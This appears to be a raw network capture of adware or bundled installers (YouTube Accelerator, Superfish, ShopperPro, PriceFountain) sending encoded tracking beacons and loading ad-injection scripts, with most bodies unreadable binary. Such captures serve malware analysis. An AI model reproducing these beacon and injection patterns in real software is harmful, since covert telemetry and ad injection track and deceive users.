e, 14 Aug 2012 07:08:30 GMT..Server: nginx/1.4.7..Content-Length: 1..C
onnection: keep-alive.....

GET /app/t.ashx?uid=92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec&bn=IE&bv=&shpro_url=aHR0cDovL3d3dy55b3V0dWJlYWNjZWxlcmF0b3IuY29tL2ZpbmlzaGluc3RhbGwvP1ZBX1Y9My4zLjkuNCZWQV9BZmY9c210eWNsMV8wXzBfMF8wLDkyYThhZDQ2LWJjOGQtNGZkMi05YWU4LTg1YjU0MTVlOWVlYywmVkFfYnI9Tk9ORSZWQV9hc2s9Tk9ORSZWQV9CZXRhPTAmVkFfTW9kZT0zJlZBX09TVmVyPVdpbmRvd3NfNyZWQV9Jc0Nvbm5lY3RlZD0xJlZBX3NyYz0xJnByPTEmVFNJPTgzJkJ1bmRsZUlEPU5PTkU=&prd=ShopperPro&os=Win32&id=1420623270&aff=smtycl&ver=2.0.7791.1462 HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: 5k9v3bc1-enehfzfv.netdna-ssl.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 503 Service Unavailable

Date: Wed, 07 Jan 2015 09:34:51 GMT

Content-Type: text/html

Content-Length: 27

Connection: keep-alive

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

The service is unavailable.HTTP/1.1 503 Service Unavailable..Date: Wed
, 07 Jan 2015 09:34:51 GMT..Content-Type: text/html..Content-Length: 2
7..Connection: keep-alive..X-Powered-By: ASP.NET..Server: NetDNA-cache
/2.2..The service is unavailable...

GET /img/youtube-accelerator-logo.png HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.youtubeaccelerator.com

DNT: 1

Connection: Keep-Alive

Cookie: ASP.NET_SessionId=rrzcful4pe3stqcytb0mhvcr


HTTP/1.1 200 OK

Content-Type: image/png

Last-Modified: Tue, 10 Jun 2014 08:53:04 GMT

Accept-Ranges: bytes

ETag: "0d8fd638984cf1:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:34:39 GMT

Content-Length: 9214
.PNG........IHDR.......H.....E.......tEXtSoftware.Adobe ImageReadyq.e&
lt;... iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS5 Windows" xmpMM:InstanceID="xmp.iid:81D309AAC21F11E29064D5C06D
ED1D59" xmpMM:DocumentID="xmp.did:81D309ABC21F11E29064D5C06DED1D59">
; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:81D309A8C21F11E29064
D5C06DED1D59" stRef:documentID="xmp.did:81D309A9C21F11E29064D5C06DED1D
59"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> 
<?xpacket end="r"?>O9.j.. tIDATx..]...U.>..z.g&.dB.........DQ
Q..P?.]..V...2....j..ovM.]?.UID].\Hv.|..%....`..C...B.........}V......
.......IU.t..u.....{..d.L.Nb.......l..ocF.y.v1.T.}j.<..FW.aJ..@ ...
.A..`v.....Bf. <~."......g2H..@ ...RG..I.o....s......l\..Y..xT..Mj.
.......@...u...3{/..&Ay..p2J...-.R.@.X....Q.1.Q.F...q.k<.........@.
B ..$.rX..c..a.n..'....JA....v.mS.......f[N\. 8..W`d.g6...-.aw..0...0H
=.Y[....1.&...C#i!.......<...>.2.B.....vFT'...8'...&.0eE.A....VV
....$WH....O...7...y......(Sb4J}mb.%f."i!......[.. .3.d.....M.. ......
...b.K.......$0...U...8i.TnA.7.I.......0.{. ..X.Qf.`.uf#HZ...13I..<<< skipped >>>

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=277619-555238

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Wed, 07 Jan 2015 09:32:15 GMT

Content-Type: application/octet-stream

Content-Length: 277620

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 277619-555238/1110476
.../cXh~.Q....mj..Yt..>...(.e....(...kiq...lSR>...?... .N?.[c6..
.C.(.pA.,.*..F...Y.Ij.j..p.%.r..e..h&...{-.....R^...`9.1PO6\8..>...
...Q"Rg.Z......Too...?.<....J..=,.q...}y.=.T..*W...C9..].........^e
."T..`.&F..M...^-6Wz_:..YW.B.......'......O;,k..".gGP..<$-..1 .;.s|
X....-....%,....@.]AU.. ..\ko... .w~g..1K.......;A..|.r..%............
........... .)..2....e..<.J.i."....c..oZ...TE..j...........H..,8W.c
..ST.zz.M.;-Pk5z...y..r.W~.;(F7,........w5...Ef...9Eo..[.Q...\.....9..
f6...j.mq*pRc..Z*.R..IW...j4Y.D ...T...Sn_.0.tY[/g./]ehAw..@<W.....
.0QO\Cj(.C.-.......*..5|.-.0..$.V..pX...T........HA.....}..........}.;
. ....LPV.X..0W..H.........z..F(.o.:........Fd.'C..= . ..e.....%Z.t...
.t.Bz.?...s.....L...ds....[....dr.....E(.z)vD17...d...m... ..........m
s..g...8V._x.X..D..g.WQ&....$...}o.Q5u..#6.. .`.......~..%.ir.W....zoY
I1b.......t`.2t.U.~5....t.......jd..rv.O..........s.o.}....A....9..o%.
..j.....R.LQ[.9qY1d?..?n.F.........*F}.b-.P`....y.6.=n...Kge}onq..u%.O
|.X>..."]..%H.;q..B@eFBu...U.V.. ........^...*.--....^n3.....2A....
...,..Wg./.........p>....ci.........w..2.g...6^:.`..b... .'r.......
.........D....RH..[.`i..1*.rs....O..BG5...)nU..tX...r..CZ..V=)@.4r..)v
:./M$..5...'4....Bey.0Y..*..#7...q.../.#N.@....__......<85d$.z.%G..
.(....-.d...I.........g....S:..&...2.....t..........h.c.......ty.G. .T
.k.>R....C...S.K.S.....,3LZe......a..#&SH.Q.R......4P......0}IC.h)N
.7..G....G1..........<..!.....=.I......S...tE.d.d.Y.......qf@I=nB..
......V...'...z.]y./.......ng..VY...y.|......2.J..'.^.z....W..d...<<< skipped >>>

GET /dealdo/event-report?type=quick&topic=suzan_instend&instgrp=20141204__1086__lnk_aromani_70&ver=1086&partner=somopf&channel=somopf&installId=v5532D312D352D32312D323835383032303933352DB48A115F3C&funnel=abddccbb-b7f2-4fa1-9571-e21f54ce647e&cb=764701&existingVer=&existingPartner=&existingChannel=&slug=pricefountain&default_browser=1&ieVer=31302e302e393230302e3136353231&firefoxVer=32392e302e312028656e2d555329&chromeVer=33352e302e313931362e313533&operaVer=&winVer=362e31&cmd=2f6d757365202f706172746e65723d736f6d6f7066&ieproc=0&ffproc=0&chproc=0 HTTP/1.1

Cache-Control: no-cache

Connection: Keep-Alive

Pragma: no-cache

User-Agent: WinHTTP/1.0

Host: q.pricejs.info


HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Type: text/plain

Date: Wed, 07 Jan 2015 09:33:50 GMT

Last-Modified: Wed, 19 Nov 2014 11:15:15 GMT

Server: nginx/1.2.5

Content-Length: 1

Connection: keep-alive

...

GET /app/ping.ashx?e=wlkQ3WKgYpSt /KxvF2yajEiF/BdfS3E62ls PLHCLDT03ZwnpMmri4u 59fITlqtmv4OlaXDlF0H0/8fBpMfmCdwiLZyE1Pd6j7/wRBDsRoqvWX6JwkevDehHIxlAXyb98NyY 3Jv/oKdNf4wHzMP/l0k1T1nn7b588fAguahpqadCmmmNJTNNeVrTC3wKj7V3xr167ha9OaRAG32pN1uUcMgmj4Ul e6MXHIbc0WyrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEeNK5GwXtY6vrCFJaRRqFgPquySuQ1vEwsvfqpUUJvug6Za8CAYbd2XSHtaKquqIZQzS4bdFaZObf28R4ggYpEA= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: repjs.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 503 Service Unavailable

Content-Type: text/html

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:29 GMT

Content-Length: 27

The service is unavailable.HTTP/1.1 503 Service Unavailable..Content-T
ype: text/html..Server: Microsoft-IIS/7.5..X-Powered-By: ASP.NET..Date
: Wed, 07 Jan 2015 09:33:29 GMT..Content-Length: 27..The service is un
available...

GET /ws/sf_preloader.jsp?dlsource=viktczu&userId=92a8ad46bc8d4fd29ae885b5415e9eec&partnername=ShopperPro&CTID=xUSiF17wJSsmtycl&ver=2015.1.5.0.55 HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.superfish.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 07 Jan 2015 09:34:43 GMT

Content-Type: text/javascript

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: JSESSIONID=F7B131D1489ADBC6014E504D5BDA623E; Path=/ws

Expires: Fri, 06 Feb 2015 09:34:43 GMT

Cache-Control: max-age=2592000

Last-Modified: Sat, 1 Jan 2011 00:00:00 GMT

Cache-Control: public

Access-Control-Allow-Origin: *

Content-Encoding: gzip
600a...............z#7.6..~...,...,.:..e..Z..=].>......jo.L.)%....D
.T.coe..U........L.2)U....G.L[.@ ....@ ......J.yo....b......^t..G.utz.
U.".J........IQ.Et.....}R..$...i..... K....Ud..*.."Y.E.2.bPy.KmN....7.
....dr...L....H...:{...]&e...:gU...M.......d..W.i..\..b....t'.........
Y..=.Y.`....}.}..;d..j...[..M;..rH.%.a>J~....|..'.U]....G..........
6ow...R..r.....y.._..c...^=.eR.#..".W....l/o..@O...yZ.q...!..M.9MJgi..
.".-.U._Vi.*I)M.J..._ .......F..p?..(...?...a.kz..c...[.7...q.\&.(.[R.
.u.O.....OE....=...Uu..L..,.L..>..m.|......Hd..M..:z5.`....h....u{Z
U........_...0..\..U../)............_.......W.........d...A..H=.."..f,
X.x/..EC;..X...b?M..jY....\d"....o..(..0.2.t......ds...@.[..I>..{..
..]eN6.. .no..,.G.HJV..."K...-.z..7..^..:.bF.G...E.....M..".h.X..._...
.N.Gfok..,9...s.....N..?.;.._.E....\.....y.S.2...........5.`.........{
.h/.....{.E...Rr..........T..^./.x.y3.....e..Q....-a..&k...a$..d .m8..
...~.e..hZ.4.....d..%......_*.t._%/.i6...o..V?>lQ<&...#j........
..#..S.Fot.{..&.F....4=e..\..X../../.,...^.L2....!.]%.f...@.....:lObov
$-...U.....f.]y.y.L..2.N.O ..yW'.Ek.e..6.o.{pp.%t*}'2M.@..7m.6...h.u..
.z.R(.R..N.-2.......MG.Y..L.aK...%Y.ttk.g.6B........a....."....MM.....
<....6d..tTMQn..&.dJ#b.p ..5.Y^....gs[v...[MS(."..-"..f.....E...l.%
..Z.u.........V.....15.".....<....B.!.:....6H...M..M...d.......?I*.
..o......z[SL.[;g.....8...T#l.].a...Fd.q.[F..u.......[..{.....=.......
6t.Q.oI....`,a.X}.`.Mz0.t?..../:8..\....R.M2...y...-..V..xG..5 ..l....
....a.?......O...}..Nta..s....Qs.Vh.iV.f...'.4T.B.[u.6N.D.Bb......<<< skipped >>>

GET /ws/userData.jsp?dlsource=viktczu&userid=NTBCNTBC&ver=2015.1.5.0.55 HTTP/1.1

Accept: text/html, application/xhtml xml, */*

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.superfish.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 07 Jan 2015 09:34:43 GMT

Content-Type: text/html;charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: JSESSIONID=64FBBBDF040FC7E537D2907FDF08B4EA; Path=/ws

Expires: Fri, 06 Feb 2015 09:34:43 GMT

P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"

Cache-Control: max-age=2592000

Last-Modified: Sat, 1 Jan 2011 00:00:00 GMT

Cache-Control: public

Access-Control-Allow-Origin: *

clientCountry: UA

Content-Encoding: gzip
2adc.............}.s.....T.....%."...*u.L.lI..b[.H...)(.X...X...R.....
.|..........E`v>zz.k.{f..........Yq...?....S...y9.=......\MPkuy..m]
.~.{R/V.bu...e. ...aoU.[....bz>Y6...........j...r..8...e.[S...>&
gt;....o.p4*N...8]/...^..c9....m..-....M.....(V.e...r.*g.o.r..Y-..YQ..
.-tu..\....r.9.....x6^...l.....l.%:...T.....$..O...f/..ZU.../......[..
_.......i. ...l..\.g....o.q...j....|2-..y...xQ.={w9..^......;..C|.....
...n.;.m.........._...}.....`.!@.T..........cYf.P..?..r5..5.......x}?.
...y..z.5...i= _.8zR_\..P..`.n>..(@_zL.N...o.nqU-f..p^O'$....<U.
..[e....U.......g.....C...o.g|:.7.C]~:Y.W.]^.2Y.s.}.t>iV//A.... a&l
t;=.a......<{:>9.UOQ.......;....UI.a1..LPf]4o.K....lqu^....bJ...
.vE.8..e.T..R......r.....?...p......... .....\>_... ..7......l.....
.H. .C$.....}....l..DPhH.?..d.(..}=...........ON....\*H.&.._Rd........
.\.W..H...*......`......M1Y.'....w..bZ......j.../&.S...z[ZYc.u.......E
..;.?.R.\.j....5..KY.6h.}..;wXyx>i._-~Y...r..u...0....vv..?...r.^..
P.Vr a..F..6....@|.X..I~u^M.1.Y...A`...^U.j..8.W..XB....ei]\...X....k.
,..~i...Z@..w..u.B}..-'...Sq......j.9...3...`pW.L.k.m.!..,..V.^.1#.f..
.Ap.T'.YA..t .n...@r]N.!7......c.. ...c.[Re.?.V....N..[......y9}k..O .
.NG.Y...!_..E...L.....=..V.r.`.....[....^..yQ[q.&o&....]..#K.....`z.Vg
...F.?..kG..'.@u:X.|.Oi...(...^..S.!../.U..9.o.............s......l.0.
x..N...c.0&.L.....M..{........d..L.0X..rh@A..EEYd..%..\.?Xu..w.J.mYZ..
.0...@..xN6.QC..b..{.....y.....8.;.x..}!..Q...`B..s..).m'.UAMh..vA...u
..@c..UI.^.. [K.G....8..h.... ..#...@.............v.Z..?Yd.....zh~<<< skipped >>>

GET /ws/getUD.action?dlsource=viktczu&userId=0fa00a57-39e0-9484-3634-4f24bc9cabf7-0fb&ver=14.12.23 HTTP/1.1

Accept: */*

Referer: hXXp://VVV.superfish.com/ws/userData.jsp?dlsource=viktczu&userid=NTBCNTBC&ver=2015.1.5.0.55

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Host: VVV.superfish.com

DNT: 1

Connection: Keep-Alive

Cookie: JSESSIONID=64FBBBDF040FC7E537D2907FDF08B4EA


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 07 Jan 2015 09:34:44 GMT

Content-Type: application/json;charset=UTF-8

Content-Length: 176

Connection: keep-alive

Content-Encoding: gzip

Expires: Wed, 07 Jan 2015 13:34:44 GMT

Cache-Control: max-age=14400

Last-Modified: Sat, 1 Jan 2011 00:00:00 GMT

Cache-Control: public

clientCountry: UA

Access-Control-Allow-Origin: *
..........e.K..0.....q..]`.............&.......s....z.......Z w!..p..a
K..=.S.q.JKN`....}n-.).K7..n.. y:......*[.1.T{.u.Z.....Z.....l4.!..Md.
a....20Z.BQi..*..|...-e.......uJ........


GET /ws/tu.action?userId=0fa00a57-39e0-9484-3634-4f24bc9cabf7-0fb&referrer=&page_url=http://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.superfish.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 07 Jan 2015 09:34:44 GMT

Content-Type: text/javascript;charset=UTF-8

Content-Length: 14

Connection: keep-alive

Set-Cookie: JSESSIONID=89842DB1893EB0C50A86311998DAD1B7; Path=/ws

clientCountry: UA

Access-Control-Allow-Origin: *
(.{ r : 0 } );HTTP/1.1 200 OK..Server: nginx..Date: Wed, 07 Jan 2015 0
9:34:44 GMT..Content-Type: text/javascript;charset=UTF-8..Content-Leng
th: 14..Connection: keep-alive..Set-Cookie: JSESSIONID=89842DB1893EB0C
50A86311998DAD1B7; Path=/ws..clientCountry: UA..Access-Control-Allow-O
rigin: *..(.{ r : 0 } );....


GET /ws/side_slider/main.js?ver=2015.1.5.0.55 HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.superfish.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 07 Jan 2015 09:34:45 GMT

Content-Type: application/x-javascript

Last-Modified: Sat, 03 Jan 2015 08:52:15 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Expires: Sat, 31 Jan 2015 09:34:45 GMT

Cache-Control: max-age=2073600

Cache-Control: public

Access-Control-Allow-Origin: *

Content-Encoding: gzip
d2d.............Zmo.6.......4.........u.....K.....n..J\.....%.....33$E
.............<3.2X.y..E..?......>F.w.....#<..Y..M.e.o*9.VQV.]
z]....4O.....s~.....J#bz..m....m..<.e.Q....."..............;f......
..9.?X.Y....r........Xb...w#..Z.z...T ....X..._.ygM.d...Q..........;QP
....f.*..9..*.....<V^e(......-.V...k.....(.UuL..C..u....>OE....(
.,..."i...G..R.0.....vq.S.#..R..*..3...K6.......j....:d......R. O?.y~.
|....{?...^.....a.U...p...;.l..........G..<wh..AY.%.8,.'..F...6..."
J7).Rj..m.fpyU.....o....2 p....X.. }..[0..X....tc5.f*.n..E.....s..j.a 
j..,._5.B...R>ce...SRj.K...U......i.|r.i.*..#@.GH2.@..eAa..$.y....B
._.....Z.s.p.X..]Op..@.Ru.5f..&m........Q.....L."h.1m.@W.d,....f.e....
Ax>.<.........."&.B7.D.S[..:;XMkrD...).q..S...4m.........iB..n.M
.....y...q....N.&........ ........VF....v.o..|..y/.\.x`.'.`%)...;..S..
so].U...( .U...$2.....H..^:8....&....~...>W..pqa..p.9....Jp.R......
....!..g...X.......\....&..x3. ....s.u..$.M.'.M..1.*!x5E\d.@T3g..gJd..
.............z..H'.y...~.....d0..9.*...l..=[....(...&D.............(V.
S.......o..<.NwQxp.v~...SE7..z......7.(s..X......FI...`y...}.a.C..P
.......x..J..uZ..|D{. e....@j.EK.A...,j=...1h.9......U..G1%.EI..9V...H
.|.....wb.O.K......@..}.*.<..d ...........3NK..B..0gg..w..w.."Z..;.
p{.EI..y..gQM...j:.y..."...aT...#h.T.xe...\.p.,.....(E...[..........u.
...........fx.mP..a...l...B".A.bqL...H........D#V..c2T..R/..........(e
.>..!..&d.9..5.._....q?.....\..F*....'X..........2..:...T.zs.......
:..3............/^...g.wn.X...=,...[Z...}...d*S.N....j....Q.,.,.?.<<< skipped >>>

GET /ws/css/main.css?v=2015.1.5.0.55 HTTP/1.1

Accept: text/css

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.superfish.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 07 Jan 2015 09:34:53 GMT

Content-Type: text/css

Last-Modified: Sat, 03 Jan 2015 08:52:15 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Expires: Sat, 31 Jan 2015 09:34:53 GMT

Cache-Control: max-age=2073600

Cache-Control: public

Access-Control-Allow-Origin: *

Content-Encoding: gzip
223c.............=ks.F.......U{.$...%.Rw.m%J........@....H. .H...uO...
......N...$..=......w..n..v.........Yn...}.....t......3/..X.w...w.....
W....v..O.g...{q.....U......w.j.........i.....v.Y...".:.....d...U.."..
6....$.Kw7..".....b..o....n..._....."I...x.m.......|..o....z...~PoYo..
...~...9.W.:S.n.m.h.6.ZE...p.4..{.&.i..fos.w.=..j.....l....M........!.
..r.I./...l.........7..a.`o...?ww.J.......K...V.w^~..wp.. ..U^.[......
@D.......}k..7;..Q)......i....f~(..zw..B.M.u~w3%.....a.....E..u....#.H
.{.....8.K...[.c.....{.D....f........-...d....C.....v.*............|..
>.R.g]..p%I..v..~.$m..pF .Ko`.Q......g..t.....|...l...o...&....e...
.E....%#...{..>_.H..............$-. 4.w.j.wD.$q...%.ro..L*.n*.Jk...
Cq...n)e...]$.S.^Nw.*g.$.l.y..5...|.a..!.....k./-..k.\.!...j.......ZhI
}.......z[o.=.{0.T4......|..<....... P.m7......r....v(.^..Lj .`Z..E
...w....f.1...H...HD...`.<.......H....\.6....%.vL..{.Z.X.T..N.v..m.
 ....H*.{.Q.... ....:....|r*.l..Y.W....?..']l.;.km{[...u~?d..<40o.P
....Q...(.$...&P...$....&....S..n.B\...6!........ ........ ..CC..Mw{.5
`...L.3J>.....aZ=.#.......fX.).../...o.....M...../..Q.....;.8.....g
eP...Th&............>..V...=.......7...Ui...}|..:UZ&._.....r=..l...
2I.....b.-....K.........q...-.....T.l.....}..S.....B..-#.(...\........
....9.3....n).)8...^ 7 ...l..A..M..G.QN........V)$...v:..|.aY"<....
......"R.9........5...D.F.o.P.....t..X.....[..Gh.......y..u1.}...i.@..
l:.nl....^iD.q.d......4Y..|' ...6..(X.!8F.t...F&.W.B..n.....r.I....Xg.
....j"........(...tD.=2..rbY...k..$S*.r=......u..,S...!.P.H.b.$..l<<< skipped >>>

GET /p.ashx?e=A3ANzFv7fWAOe2V62UQmji9FH2PLJakfBBvtTcvyOOgDt2EUeZbtRaSm/NUmuZILaqt W6aVz1gJ0oU leMNxNaoPZj94HyT6LOwEGQvh2zV2TxY7/sL 44G r 3F6T7xRE3XrPaz9TTBvRP7Uc/24zwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbc3zGts4CU58= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:09 GMT

X-Cache: Miss from cloudfront

Via: 1.1 7f5f319a146555f96664f69ea399602d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: -xjAbX4XUHczIdwtkYAmSQwcL7jKo0E4beCyQ7Zr7STMIQTM1SYlqQ==

HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Wed, 07 Jan 2015 09:33:09 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 7f5f319a146555f96664f69ea39960
2d.cloudfront.net (CloudFront)..X-Amz-Cf-Id: -xjAbX4XUHczIdwtkYAmSQwcL
7jKo0E4beCyQ7Zr7STMIQTM1SYlqQ==......

GET /p.ashx?e=hXeqmv1IpelLnCMxb3UlH2ixDL7TvdeXo6osK346QkZ4E7mrr1h80jmXqQawsZSOUA7dl9owwhLw4TExssR4h ULLp6NCdPUSN/NUmQOolz3sa2IRWonQyzkqcReTLpR lWLUtT/Ob84SfvtpjZHs2R9NPlMfgfEX4l9XCm/Va9mPCGseo97LkKspGXq5ZiVjgb6v7cXpPuImJZrYkhmTozwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NS8dH6HwkFDyPU4tademT9Hka5X92fm477Sktd6ZKA3e4Mb1r8MqvqrE= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:09 GMT

X-Cache: Miss from cloudfront

Via: 1.1 7f5f319a146555f96664f69ea399602d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: GLQpu6bpUyYk9AnM36wX42GSFsRC56HIpqQ7CSbAWAne9ee8F5NE3g==

....

GET /p.ashx?e=hXeqmv1IpelLnCMxb3UlH2ixDL7TvdeXo6osK346QkZ4E7mrr1h80jmXqQawsZSOUA7dl9owwhLw4TExssR4h ULLp6NCdPUSN/NUmQOolz3sa2IRWonQyzkqcReTLpR lWLUtT/Ob84SfvtpjZHs2R9NPlMfgfEX4l9XCm/Va9T0skxmwV AvCKQhXfcYgO0JQd5HxgIXe6hh4TSs5wkW3TZxLuun9qBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLGd3dAaPTGEjL36qVFCb7oOmWvAgGG3dl0h7WiqrqiGUM0uG3RWmTmzGZvvKsaXqK HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:13 GMT

X-Cache: Miss from cloudfront

Via: 1.1 7f5f319a146555f96664f69ea399602d.cloudfront.net (CloudFront)

